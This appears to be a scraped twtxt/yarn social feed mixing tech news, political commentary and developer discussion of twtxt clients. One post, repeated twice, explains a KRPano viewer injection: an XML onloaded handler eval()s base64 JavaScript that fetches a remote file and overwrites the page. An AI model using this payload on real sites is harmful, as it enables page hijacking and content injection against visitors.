Gajim: Gajim 2.0.0
Gajim 2.0 is here and it comes with a big upgrade 🎉 Gajim migrated its user interface toolkit to GTK 4, which brings performance improvements and sets the ground for great features to follow. Additionally, this release brings improved image previews, better tools for fighting spam, and much more. All of these changes were only possible by touching a lot of Gajim’s code base, and we appreciate all the feedback we got from you.
Switching Gajim’s major ver … ⌘ Read more
Mathieu Pasquet: slixmpp v1.9.0
It has not been too long since 1.8.6 and here we are with 1.9.0, which is kind of a major release (following the well-known pridever numbering scheme).
Long story short, there are at least two major changes warranting the new number (and plenty of other things, read on!):
- switching the cython jid implementation for a rust one, which will be faster and more correct
- removing the xmpp.process() method (planned since the 1.8.0 release)
Special thanks to nicoco … ⌘ Read more
Kiwi SOM Featuring Wi-Fi 7 Qualcomm IPQ-9570 Dual USXGMII and PCIe Expansion
Following the development of its Wi-Fi 6 System-on-Modules, Mango and Cherry, 8DEVICES has introduced Kiwi, a Wi-Fi 7 SOM based on the Qualcomm IPQ-9570 network processor. The Kiwi SOM runs Linux OpenWRT, providing flexibility for various embedded networking applications. This module features a quad-core Cortex-A73 CPU running at 2.2 GHz with a 1 MB L2 […] ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1260 ARCHIVED:84955 CACHE:2806 FOLLOWERS:18 FOLLOWING:14
@andros@twtxt.andros.dev Just before the pandemic, we watched Uncle Bob videos once a week in the lunch break. While almost all of my old teammates agreed with his views, I partially found them to be very odd and even counterproductive.
I didn’t come across John Ousterhout or any of his work before, at least not deliberately. So, this document is my first contact.
I only finished the chapter on comments and I totally agree with John so far. This document just manifests to me how weird Bob’s view is on certain subjects.
I always disagreed with the concept of a maximum method length. Sure, generally, shorter functions are probably better, but it always depends. And I’ve certainly seen super short methods that just made the code flow even worse to follow. While “one function should only do one thing” is a nice general rule, I’m 100% in team John with the shown examples. There are cases, where this doesn’t help readability at all. Not even close.
To me, a function always has to justify its existence. Either by reusing it at least at another place or by coming up with dedicated tests for it. But if it is just called once and there are no tests, I almost always decide against it. Personally, I don’t mind longer methods. We just recently had a discussion about that and I lost against two other workmates who are more in Uncle Bob’s camp, they refactored one medium sized method into three very short ones. Luckily, we agree on most other topics.
Lol, what!? The shorter the method, the longer the variables inside? I first thought I misread or the writeup mixed it up. I’ll always do it the other way around.
I’ve been also bitten badly by outdated comments in the past, but Bob must have worked on really terrible projects to end up with such an attitude to dislike comments. Oh well. No doubt, I’ve come across by several orders of magnitude more useless comments, in my experience (autogenerated) JavaDocs fall in the category more frequently than not. So, I know that there are different types of comments. A comment doesn’t automatically mean that it is good and justified.
But I also partially agree with Bob and John and think that a good name has a proper chance to save a comment. Though, when in doubt, I go John’s route and use a shorter name with a comment rather than use a kilometer long identifier. Writing good comments typically takes some time, sometimes much longer than writing the code. It regularly takes me several minutes. It’s a hard art.
I perhaps should read up on John’s work. He seems to be more reasonable and likeminded. :-) Let me continue to complete this document.
@doesnmppsflt@doesnm.p.psf.lt this one is the safest feed to follow. Quark’s will cease to exist, as I am not renewing the domain. Bender’s will eventually fade away too, I am afraid. “No show, however good, can last forever.” :-)
🧮 USERS:1 FEEDS:2 TWTS:1259 ARCHIVED:84951 CACHE:2806 FOLLOWERS:18 FOLLOWING:14
(#5eixsdq) @doesnm@doesnm You should follow them all 😆
@doesnm @doesnm.p.psf.lt You should follow them all 😆 ⌘ Read more
Should i follow david feed instead of bender and quark?
🧮 USERS:1 FEEDS:2 TWTS:1258 ARCHIVED:84933 CACHE:2792 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1257 ARCHIVED:84925 CACHE:2797 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1256 ARCHIVED:84916 CACHE:2808 FOLLOWERS:18 FOLLOWING:14
Silence of the Cowards: The Former Republican Party
John B. Alexander, Commentator -
_Stephan: I completely agree with what John Alexander says here. What stands out for me more than anything else in the coup we are undergoing is the spinelessness and lack of ethics of the entire Republican Party. We have an election coming in 2026 – if criminal Trump hasn’t suspended or completely rigged elections, following Putin’s model. And, of course, you know that oligarchs led my … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1255 ARCHIVED:84884 CACHE:2780 FOLLOWERS:18 FOLLOWING:14
Why does my cat ALWAYS follow me to the bathroom? ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1254 ARCHIVED:84848 CACHE:2758 FOLLOWERS:18 FOLLOWING:14
@andros@twtxt.andros.dev Could you share (perhaps in the extension document) the private key for alice?
I want to compare that I can read the encrypted message both from OpenSSL CLI and from the PHP OpenSSL library, following the spec.
🧮 USERS:1 FEEDS:2 TWTS:1253 ARCHIVED:84833 CACHE:2744 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1252 ARCHIVED:84826 CACHE:2761 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1251 ARCHIVED:84810 CACHE:2762 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1250 ARCHIVED:84794 CACHE:2807 FOLLOWERS:18 FOLLOWING:14
10 Incredible Scenes of Cosmic Violence
The universe is full of awe-inspiring sights like colorful nebulae, giant planets of swirling gas, and brilliant stars that shine like gems. The universe is also full of chaos and violence, with constant destruction (and rebirth) keeping the cosmos in an eternal flux. The following discoveries are awe-inspiring for their sheer power, destructive majesty, and […]
The post [10 Incredible Scenes of Cosmic Violence](https://listverse.com/2025/02/16/10-incr … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1249 ARCHIVED:84784 CACHE:2804 FOLLOWERS:18 FOLLOWING:14
PostmarketOS Joins Codeberg’s Fight Against “Right Wing Forces”
Following dubious announcement of attack by “Right Wing Forces” by Git hosting company, a Linux Phone OS project has joined their crusade. ⌘ Read more
He followed me into the bathroom (as usual) and did this in the sink ⌘ Read more
@prologic@twtxt.net Of course you don’t notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinley’s message from 2023-01-09T22:42:37Z. It has “[Scheduled][Scheduled][Scheduled]“… in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash I’ve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.
🧮 USERS:1 FEEDS:2 TWTS:1248 ARCHIVED:84769 CACHE:2799 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1247 ARCHIVED:84694 CACHE:2775 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1246 ARCHIVED:84670 CACHE:2758 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1245 ARCHIVED:84640 CACHE:2798 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1244 ARCHIVED:84634 CACHE:2814 FOLLOWERS:18 FOLLOWING:14
Will Apple Release New iPhone 16 Colors This Year?
Apple typically releases new iPhone color options every year as a mid-product cycle refresh, so when can we expect a new finish in 2025?
Apple has added new iPhone colors on six occasions in the past, consistently in either the March or April following an iPhone’s launch:
- iPhone 7 and 7 Plus: (PRODUCT)RED (Tuesday … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1243 ARCHIVED:84633 CACHE:2814 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1242 ARCHIVED:84626 CACHE:2827 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1241 ARCHIVED:84617 CACHE:2820 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1240 ARCHIVED:84596 CACHE:2811 FOLLOWERS:18 FOLLOWING:14
SECO Introduces New Intel-Based Embedded Solutions at Embedded World 2025
SECO will unveil its latest embedded computing solutions at Embedded World 2025, featuring Twin Lake and Arrow Lake architectures. The lineup targets industrial, medical, and AI-driven applications, focusing on performance, scalability, and efficiency. Among the new products built on the Twin Lake architecture, the SOM-SMARC-TWL follows the SMARC form factor, offering a compact and modular […] ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1239 ARCHIVED:84585 CACHE:2812 FOLLOWERS:18 FOLLOWING:14
@<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.
While I now have a somewhat working fix for it in yarnd (https://git.mills.io/yarnsocial/yarn/pulls/1232), I also have the feeling that I should fix literal formatting in lextwt as well. This also uncovered more bugs I believe: https://git.mills.io/yarnsocial/go-lextwt/pulls/28
But then there is also the question why the textarea is populated with @<url> in the first place rather than @<nick url> or yarnd’s own @nick@domain/@nick syntax. It indeed has to do something with whether I follow the mentioned feed or not.
Anyway, something to investigate for future Lyse or maybe @prologic@twtxt.net and/or @xuu@txt.sour.is. G’night!
@<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.
Righto, must be some caching thing that’s going on, too. Now, with JS enabled and a feed that I follow, hitting “Reply” actually automatically enters @nick@domain in the textarea. Submitting it correctly writes “@in the feed. Let's dig…
@bender@twtxt.net @prologic@twtxt.net I can reproduce this locally, too. But it doesn’t matter if I follow the feed or not. With JS enabled, hitting “Reply” opens a textarea with @<url>. Submitting this writes @<domain url> instead of @<nick url> in the feed.
However, when I have JS disabled, “Reply” jumps to the top of the page, but the the textarea is at the bottom. So, after scrolling down, the textarea is not filled with anything. Which is expected I reckon. Entering @nick@domain or just @nick resolves to the correct @<nick url> in the feed.
🧮 USERS:1 FEEDS:2 TWTS:1238 ARCHIVED:84570 CACHE:2811 FOLLOWERS:18 FOLLOWING:14
Is Arch Linux Woke? Looks like it: Forum Censors Mentions of “Lunduke”, Discord Goes on Lockdown
Following Arch Linux Discord voting to ban “links to X / Twitter” & death threats towards a journalist, all official Arch Linux channels begin mass censorship campaign. ⌘ Read more
@twtxt.net@twtxt.net right. I don’t follow you. I will restart following you once Yarn has fixed this problem. :-P
🧮 USERS:1 FEEDS:2 TWTS:1237 ARCHIVED:84560 CACHE:2833 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1236 ARCHIVED:84552 CACHE:2837 FOLLOWERS:18 FOLLOWING:14
Arch Linux Discord Voting to Ban Links to X / Twitter (Because “Nazis”)
Following Debian’s lead, the Arch community is preparing to take a stand against Elon Musk, Conservatives, & X. And they’re banning anyone who disagrees. ⌘ Read more
USDA ordered to scrub climate change from websites
Zack Colman and Marcia Brown, Staff Writers - Politico
_Stephan: There is a christofascist playbook, Hitler followed it, Mussolini followed it, and Stalin followed it. The latest version in Project 2025. And one of the constants of the christofascist playbook is that the government must be censured to ensure that information the fascists don’t like is not made available to citizens. “king” Trump and his MAGAt vassals don … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1235 ARCHIVED:84533 CACHE:2833 FOLLOWERS:18 FOLLOWING:14
**Seriously?! 😳 Transscript
if I had a Go struct such as the following:
…
Here’s how the complete interface would look:
type B ...**
Seriously?! 😳 [Transscript](https://gist.mills.io/prologic/fe6bb412dcc245a69b4cbad22f38dcd2)
> if I had a Go struct such as the following:
…
> Here’s how the complete interface would look:
type Bar interface {
Read(t *Bar, b []byte) (int, error)
}
”`
This interface matches the behavior and method signature of the provided Foo struct.
This is total garbage 🗑️ ⌘ Read more”`
🧮 USERS:1 FEEDS:2 TWTS:1234 ARCHIVED:84522 CACHE:2827 FOLLOWERS:18 FOLLOWING:14
Adafruit CLUE: A Sensor-Packed nRF52840 Development Board in a micro:bit Form Factor
The Adafruit CLUE is a development board with a built-in display, multiple sensors, and Bluetooth Low Energy connectivity. It follows the form factor of the BBC micro:bit while incorporating additional processing power and expanded functionality. The board is designed for applications involving data visualization, sensor-based measurements, and wireless communication. This devi … ⌘ Read more
Assassin’s Creed is finally heading to Japan. It needs to hit the mark
The long-awaited feudal Japan episode of the long-running series follows a ninja and a samurai in a period of civil war. For Ubisoft, it could be a make or break. ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1233 ARCHIVED:84508 CACHE:2834 FOLLOWERS:18 FOLLOWING:14
Monero v0.18.4.0 release on the horizon as selsta posts to-do list
selsta1 has opened a new issue (a to-do list)2 in the Monero core repository for the upcoming v0.18.4.0 Fluorine Fermi release:
PR list overviewThe following pull requests have to be merged and issues have to be resolved. Any other PRs that I’m missing?
”`
- build: prepare v0.18.4.0 #9722
- blockchain sync: reduce disk writes from 2 to 1 per tx [RELEASE] #9740
- Some cleanup in span/connection_cont … ⌘ Read more”`
How to Turn Off “Follow Up” Mail Suggestions on iPhone & iPad
The Mail app on iPhone and iPad has been around since the beginning of those devices, and many people have grown familiar with how the Mail app works and behaves. But recently, Apple has been making a lot of tweaks and adjustments to the Mail app, and some of these changes are not necessarily welcome … [Read More](https://osxdaily.com/2025/01/30/how-to-turn-off-follow-up-mail-suggestions-on-iphone- … ⌘ Read more
I want to propose my own counter-proposal to the discussion that’s ongoing with Go and error handling.
Here it is: https://docs.mills.io/ix4qDHMnQUSPxZ5tXz12Vg?view
It’s very rough and needs much more work, but essentially I want to propose the following change to the language’s grammar:
f := os.Open("foo.txt") or (e error) {
log.Fatal("error opening file; %s", e)
}
**I want to propose my own counter-proposal to the discussion that’s ongoing with Go and error handling.
Here it is:
It’s very rough and needs …**
I want to propose my own counter-proposal to the discussion that’s ongoing with Go and error handling.
Here it is: https://docs.mills.io/ix4qDHMnQUSPxZ5tXz12Vg?view
It’s very rough and needs much more work, but essentially I want to propose the following change to the language’s grammar:
”`
f := os.Open(“foo.txt”) or (e error) {
lo ... ⌘ [Read more](https://twtxt.net/twt/spvh6fa)```
Ten of the Most Outlandish Influencers on Social Media
As any social media user knows, influencers are everywhere. Usually, they pester us with adverts and monetized content. But some take a stranger approach. These bizarre influencers refuse to fit the usual mold. Instead, they have built a following from their unexpected, genuinely original ideas. They are the true originals of the social media world: […]
The post [Ten of the Most Outlandish Influencers on Social Media](http … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1232 ARCHIVED:84461 CACHE:2822 FOLLOWERS:18 FOLLOWING:14
How to Disable “Follow Up” Mail Suggestions on Mac
One of the polarizing Mail for Mac features is “Follow Up”, which are suggestions on emails that Apple Mail thinks you should follow up with. The idea behind “Follow Up” suggestions in Mail is pretty simple; if you haven’t received a reply or heard back from a particular person or email, the last sent message … Read More ⌘ Read more
How to Disable “Follow Up” Mail Suggestions on Mac
One of the polarizing Mail for Mac features is “Follow Up”, which are suggestions on emails that Apple Mail thinks you should follow up with. The idea behind “Follow Up” suggestions in Mail is pretty simple; if you haven’t received a reply or heard back from a particular person or email, the last sent message … Read More ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1231 ARCHIVED:84449 CACHE:2828 FOLLOWERS:18 FOLLOWING:14
DOJ Halts All Civil Rights Cases Following Trump’s Directives
Zane McNeill , - truthout
Stephan: Apparently, there will be no civil rights protection during the Trump regime. Day by day we are becoming a nation I don’t even recognize. I have had two readers currently living in Europe who just wrote to tell me they were renouncing their U.S. citizenship, and taking on the citizenship of the country in which they are living.
@andros@twtxt.andros.dev Sweeeeet! Just gave it a try, you’ve done a wonderful work 🫡 I wanted to replay from there but couldn’t go past the first page of the feed. It kept freezing on me and complaining about some bad Url (as mentioned on the test twt), so I’ll have to dig through my follow list and see where I effed up this time. 😅
🧮 USERS:1 FEEDS:2 TWTS:1230 ARCHIVED:84439 CACHE:2829 FOLLOWERS:18 FOLLOWING:14
@kat@yarn.girlonthemoon.xyz franz von stuck is one of my fave artists and i was so delighted to see one of his pieces displayed in person but i got separated from my family when i saw it and just barely got a pic before my sister dragged me back to follow them away T__T next time i will see if the met has more of his art… https://remix.girlonthemoon.xyz/u/accendio/m/franz-von-stuck-inferno-1908/
🧮 USERS:1 FEEDS:2 TWTS:1229 ARCHIVED:84434 CACHE:2828 FOLLOWERS:18 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1227 ARCHIVED:84412 CACHE:2833 FOLLOWERS:18 FOLLOWING:14
I would like to drop Onedrive for Proton Drive and WhatsApp for Threema - I just need to convince my whole family to follow me with that.
🧮 USERS:1 FEEDS:2 TWTS:1225 ARCHIVED:84394 CACHE:2842 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1224 ARCHIVED:84381 CACHE:2833 FOLLOWERS:17 FOLLOWING:14
Apple Watch Bands Are Safe to Wear, Says Apple, After Lawsuit Filed
Following a class action lawsuit that alleges some Apple Watch bands contain toxic “forever chemicals,” also known as per- and polyfluoroalkyl substances (PFAS), Apple has ensured that Apple Watch bands are “safe for users to wear.”
Apple’s ful … ⌘ Read more
Scientists and engineers produce world’s first carbon-14 diamond battery with potential lifespan of thousands of years
, - University of Bristol (U.K.)
Stephan: Here, thank goodness – I am so tired of all the bad news – is what looks to be very important good news about non-carbon energy. I will follow this as it develops.
. A syntax like the following could help to know what public key you used to encrypt the message, and which private key the client should use to decrypt it:
!<nick url> <encrypted_message> <public_key_hash_7_chars>
Also I’d remove support for storing the message as hex, only allowing base64 (more compact, aiming for a minimalistic spec, etc.)
🧮 USERS:1 FEEDS:2 TWTS:1220 ARCHIVED:84306 CACHE:2829 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1219 ARCHIVED:84295 CACHE:2871 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1218 ARCHIVED:84286 CACHE:2886 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1217 ARCHIVED:84245 CACHE:2908 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1216 ARCHIVED:84226 CACHE:2919 FOLLOWERS:17 FOLLOWING:14
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
(#w4n3v4q) @bender@bender Yeah I think I follow the Hacker News top N feed already. So taht’s fine.
@bender Yeah I think I follow the Hacker News top N feed already. So taht’s fine. ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1215 ARCHIVED:84196 CACHE:2939 FOLLOWERS:17 FOLLOWING:14
Ignite Realtime Blog: XMPP Summit #27 and FOSDEM 2025
The XMPP Standards Foundation’s yearly Summit will be held on January 30 and 31st, in Brussels. The Summit is an annual two-day gathering where we discuss XMPP protocol development topics. It is a place for XMPP developers to meet each other, and make progress on current issues within the protocol and ecosystem.
Immediately following the Summit is FOSDEM. FOSDEM is a free e … ⌘ Read more
🧮 USERS:1 FEEDS:2 TWTS:1214 ARCHIVED:84175 CACHE:2935 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1213 ARCHIVED:84163 CACHE:2968 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1212 ARCHIVED:84140 CACHE:2965 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1211 ARCHIVED:83981 CACHE:2905 FOLLOWERS:17 FOLLOWING:14
example.com/x/bananas/yo.txt, and the feed has no nick. What is the nick?
I mean, since most feeds are named twtxt.txt, following your recommendation, there could be many “twtxt” nicks. 😀
although I agree that it helps, I don’t see completely correct to leave the nick definition to the source .txt. It could be wrong from the start or outdated with the time.
I’d rather prefer to get it from the mentioned .txt nick metadata (could be cached for performance).
So my vote would to make it mandatory to follow @<name url> but only using that name/nick if the URL doesn’t contain another nick.
A main advantage is that when the destination URL changes the nick, it’ll be automagically updated in the thread view (as happens with some other microblogging platforms, following the Jakob’s Law)
🧮 USERS:1 FEEDS:2 TWTS:1210 ARCHIVED:83938 CACHE:2896 FOLLOWERS:17 FOLLOWING:14
🧮 USERS:1 FEEDS:2 TWTS:1209 ARCHIVED:83888 CACHE:2874 FOLLOWERS:17 FOLLOWING:14